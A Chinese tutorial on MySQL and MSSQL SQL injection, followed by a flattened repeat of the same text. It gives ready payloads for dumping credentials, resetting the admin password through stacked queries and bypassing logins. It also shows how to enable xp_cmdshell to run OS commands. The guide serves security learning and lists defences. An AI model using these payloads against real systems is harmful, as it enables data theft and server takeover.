MYSQL+MSSQL注入理解
字数 3753 2025-08-19 12:42:30

MySQL与MSSQL注入技术详解

一、MySQL注入技术

1. 联合注入(Union Injection)

原理:通过UNION关键字将恶意SQL语句与原始查询合并执行

步骤

  1. 判断注入点

    • 数字型:id=1 and 1=1(正常) vs id=1 and 1=2(异常)
    • 字符型:构造闭合' -- s并测试and 1=1and 1=2
  2. 判断字段数量

    • order by n递增测试直到报错
  3. 确定回显位置

    • union select 1,2,3...观察哪些数字显示在页面上
  4. 爆数据

    • 基本信息:user(), database(), version()
    • 爆库:union select 1,2,group_concat(schema_name) from information_schema.schemata
    • 爆表:union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
    • 爆字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"
    • 爆数据:union select 1,group_concat(username),group_concat(password) from users

2. 报错注入(Error-based Injection)

适用场景:后台未处理数据库报错信息,将错误返回前台

常用函数

  • extractvalue()
  • updatexml()
  • floor()

示例

  • 获取数据库:or extractvalue('1',concat("~~",(database()))) -- s
  • 获取表:or extractvalue('1',concat("~~",(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- s
  • 获取字段:or extractvalue('1',concat("~~",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))) -- s

3. 盲注(Blind Injection)

布尔盲注

原理:通过页面返回的真/假状态判断信息

常用函数

  • length():判断长度
  • substr():截取字符
  • ascii():获取ASCII码
  • if():条件判断

步骤

  1. 判断数据库长度:and length(database())>n
  2. 逐字符判断库名:and ascii(substr(database(),1,1))=x
  3. 判断表数量及名称
  4. 判断字段及数据

时间盲注

原理:通过响应延迟判断条件真假

关键函数sleep(), if()

示例

  • and if(ascii(substr(database(),1,1))=115,sleep(5),1)

4. 宽字节注入

原理:利用GBK编码特性吃掉转义符(\)

步骤

  1. 构造宽字节:%df' → 与转义符\(%5c)组合成汉字
  2. 后续步骤同普通注入

5. 二次注入

原理

  1. 首次插入恶意数据(如admin' -- s)
  2. 后端转义存储为admin\' -- s
  3. 数据库存储时去除转义符恢复为admin' -- s
  4. 二次调用时执行恶意SQL

6. 堆叠注入(Stacked Queries)

原理:利用分号执行多条SQL语句

示例

  • 1';insert into users values(666,'zgao','zgao') --+
  • 1';update users set password='123456' where username='admin' -- s

7. POST注入

特点:注入点位于POST请求中,方法与GET注入类似

万能密码xxx' or 1=1 #

二、MSSQL注入技术

1. 基本知识

系统表

  • master..sysdatabases:所有数据库
  • sysobjects:当前数据库所有对象(xtype='U'为用户表)
  • syscolumns:当前数据库所有列

常用函数

  • db_name():当前数据库名
  • @@version:版本信息
  • host_name():主机名
  • is_srvrolemember('sysadmin'):判断服务器角色
  • is_member('db_owner'):判断数据库角色

2. 联合注入

步骤

  1. 判断注入点:and 1=1 vs and 1=2
  2. 判断字段数:order by n
  3. 联合查询:union select 1,2,3
  4. 爆数据:
    • 库名:union select 1,db_name(),@@version
    • 表名:union select 1,2,name from 库名..sysobjects where xtype='U'
    • 列名:union select 1,2,col_name(object_id('users'),1) from sysobjects

3. 报错注入

常用函数

  • convert()
  • cast()
  • db_name()
  • file_name()

示例

  • and 1=convert(int,@@version)
  • and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype='U'))

4. 盲注

布尔盲注

  • and len((select db_name()))=4
  • and ascii(substring((select db_name()),1,1))=78

时间盲注

  • WAITFOR DELAY '0:0:5'
  • if (ascii(substring((select db_name()),1,1))=78) WAITFOR DELAY '0:0:4'

5. 进阶技术

判断站库分离
and ((select host_name()) = (select @@SERVERNAME))

XP_CMDSHELL使用

  1. 判断是否开启:
    and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel')
  2. 开启命令:
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    
  3. 执行系统命令:
    exec xp_cmdshell 'whoami'

文件操作

  • 写入文件:exec xp_cmdshell 'whoami > C:/temp.txt'
  • 读取文件:
    create table temp(res varchar(8000));
    bulk insert master.dbo.temp from 'C:/temp.txt';
    select * from master.dbo.temp;
    drop table temp;
    

三、防御措施

  1. 严格过滤用户输入
  2. 使用参数化查询(预编译语句)
  3. 最小权限原则
  4. 关闭错误回显
  5. 使用WAF
  6. 定期代码审计与更新

四、关键区别

特性 MySQL MSSQL
系统表 information_schema sysobjects, syscolumns
注释符 #, -- , /* */ --, /* */
连接字符串 concat() +
延时函数 sleep() WAITFOR DELAY
系统命令 需特定条件 xp_cmdshell
默认数据库 information_schema master

掌握这些技术需要结合实战练习,建议在合法授权环境下使用DVWA、SQLi-Labs等平台进行测试。

MySQL与MSSQL注入技术详解 一、MySQL注入技术 1. 联合注入(Union Injection) 原理 :通过UNION关键字将恶意SQL语句与原始查询合并执行 步骤 : 判断注入点 : 数字型: id=1 and 1=1 (正常) vs id=1 and 1=2 (异常) 字符型:构造闭合 ' -- s 并测试 and 1=1 与 and 1=2 判断字段数量 : order by n 递增测试直到报错 确定回显位置 : union select 1,2,3... 观察哪些数字显示在页面上 爆数据 : 基本信息: user() , database() , version() 爆库: union select 1,2,group_concat(schema_name) from information_schema.schemata 爆表: union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 爆字段: union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" 爆数据: union select 1,group_concat(username),group_concat(password) from users 2. 报错注入(Error-based Injection) 适用场景 :后台未处理数据库报错信息,将错误返回前台 常用函数 : extractvalue() updatexml() floor() 示例 : 获取数据库: or extractvalue('1',concat("~~",(database()))) -- s 获取表: or extractvalue('1',concat("~~",(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- s 获取字段: or extractvalue('1',concat("~~",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))) -- s 3. 盲注(Blind Injection) 布尔盲注 原理 :通过页面返回的真/假状态判断信息 常用函数 : length() :判断长度 substr() :截取字符 ascii() :获取ASCII码 if() :条件判断 步骤 : 判断数据库长度: and length(database())>n 逐字符判断库名: and ascii(substr(database(),1,1))=x 判断表数量及名称 判断字段及数据 时间盲注 原理 :通过响应延迟判断条件真假 关键函数 : sleep() , if() 示例 : and if(ascii(substr(database(),1,1))=115,sleep(5),1) 4. 宽字节注入 原理 :利用GBK编码特性吃掉转义符(\) 步骤 : 构造宽字节: %df' → 与转义符 \ (%5c)组合成汉字 后续步骤同普通注入 5. 二次注入 原理 : 首次插入恶意数据(如 admin' -- s ) 后端转义存储为 admin\' -- s 数据库存储时去除转义符恢复为 admin' -- s 二次调用时执行恶意SQL 6. 堆叠注入(Stacked Queries) 原理 :利用分号执行多条SQL语句 示例 : 1';insert into users values(666,'zgao','zgao') --+ 1';update users set password='123456' where username='admin' -- s 7. POST注入 特点 :注入点位于POST请求中,方法与GET注入类似 万能密码 : xxx' or 1=1 # 二、MSSQL注入技术 1. 基本知识 系统表 : master..sysdatabases :所有数据库 sysobjects :当前数据库所有对象(xtype='U'为用户表) syscolumns :当前数据库所有列 常用函数 : db_name() :当前数据库名 @@version :版本信息 host_name() :主机名 is_srvrolemember('sysadmin') :判断服务器角色 is_member('db_owner') :判断数据库角色 2. 联合注入 步骤 : 判断注入点: and 1=1 vs and 1=2 判断字段数: order by n 联合查询: union select 1,2,3 爆数据: 库名: union select 1,db_name(),@@version 表名: union select 1,2,name from 库名..sysobjects where xtype='U' 列名: union select 1,2,col_name(object_id('users'),1) from sysobjects 3. 报错注入 常用函数 : convert() cast() db_name() file_name() 示例 : and 1=convert(int,@@version) and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype='U')) 4. 盲注 布尔盲注 and len((select db_name()))=4 and ascii(substring((select db_name()),1,1))=78 时间盲注 WAITFOR DELAY '0:0:5' if (ascii(substring((select db_name()),1,1))=78) WAITFOR DELAY '0:0:4' 5. 进阶技术 判断站库分离 : and ((select host_name()) = (select @@SERVERNAME)) XP_ CMDSHELL使用 : 判断是否开启: and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') 开启命令: 执行系统命令: exec xp_cmdshell 'whoami' 文件操作 : 写入文件: exec xp_cmdshell 'whoami > C:/temp.txt' 读取文件: 三、防御措施 严格过滤用户输入 使用参数化查询(预编译语句) 最小权限原则 关闭错误回显 使用WAF 定期代码审计与更新 四、关键区别 | 特性 | MySQL | MSSQL | |-------------|--------------------------------|--------------------------------| | 系统表 | information_ schema | sysobjects, syscolumns | | 注释符 | # , -- , /* */ | -- , /* */ | | 连接字符串 | concat() | + | | 延时函数 | sleep() | WAITFOR DELAY | | 系统命令 | 需特定条件 | xp_cmdshell | | 默认数据库 | information_ schema | master | 掌握这些技术需要结合实战练习,建议在合法授权环境下使用DVWA、SQLi-Labs等平台进行测试。